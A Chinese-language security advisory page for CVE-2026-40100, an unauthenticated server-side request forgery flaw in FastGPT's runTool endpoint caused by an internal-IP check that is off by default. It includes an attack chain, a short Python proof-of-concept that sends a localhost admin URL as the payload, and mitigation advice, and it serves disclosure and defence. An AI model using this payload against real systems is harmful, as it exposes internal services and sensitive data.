IPBUF安全漏洞报告
English
CVE-2026-40100 CVSS 5.3 中危

CVE-2026-40100 FastGPT 未授权SSRF漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-40100
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FastGPT

相关标签

SSRFFastGPT未授权访问内网渗透中危

漏洞概述

FastGPT是一个AI智能体构建平台。在4.14.10.3版本之前,其/api/core/app/mcpTools/runTool接口存在安全缺陷。该接口在未进行身份验证的情况下接受任意URL,且内部IP地址检查功能默认未开启,导致未经身份验证的攻击者可利用该漏洞对内部网络资源发起服务器端请求伪造(SSRF)攻击。

技术细节

该漏洞源于FastGPT的`/api/core/app/mcpTools/runTool`接口缺乏有效的身份验证机制,允许未经授权的匿名用户访问。尽管代码逻辑中设计了`isInternalAddress()`函数旨在通过拦截私有IP地址段(如127.0.0.1、192.168.x.x等)来防御SSRF攻击,但该安全检查的生效取决于环境变量`CHECK_INTERNAL_IP`是否被显式设置为`true`。由于该变量在默认配置下处于未启用状态,导致关键的安全防护失效。攻击者可利用此缺陷,通过构造包含内网地址的恶意URL参数,诱导服务器向内部网络发起请求,进而探测内网拓扑、读取本地敏感文件(如metadata)或攻击内网其他服务。

攻击链分析

STEP 1
步骤1:发现目标
攻击者通过端口扫描或网络测绘发现互联网上的FastGPT服务实例。
STEP 2
步骤2:发送恶意请求
攻击者向`/api/core/app/mcpTools/runTool`接口发送POST请求,在参数中填入内网敏感地址(如127.0.0.1或云元数据地址),无需进行身份认证。
STEP 3
步骤3:服务端请求
由于默认配置下未开启内网IP检查,FastGPT服务器代为攻击者请求内网目标地址。
STEP 4
步骤4:获取敏感信息
攻击者根据服务器返回的响应内容,获取内网服务的敏感信息或确认内网服务的存在。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable FastGPT instance target_url = "http://target-host/api/core/app/mcpTools/runTool" # Malicious payload targeting an internal service (e.g., localhost admin panel) payload = { "url": "http://127.0.0.1:8080/admin" } try: # Sending the unauthenticated request response = requests.post(target_url, json=payload, timeout=10) # Checking if the internal resource was accessed (SSRF indication) if response.status_code == 200: print("[+] Vulnerability Confirmed: SSRF successful.") print("[+] Response from internal resource:") print(response.text) else: print("[-] Request failed or target patched.") except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

FastGPT < 4.14.10.3

防御指南

临时缓解措施
如果无法立即升级,建议管理员在系统配置中显式将`CHECK_INTERNAL_IP`环境变量设置为`true`,以强制启用内网IP地址拦截功能。同时,建议在WAF或防火墙层面对`/api/core/app/mcpTools/runTool`接口的访问源进行严格限制,阻止外部公网直接调用该敏感接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表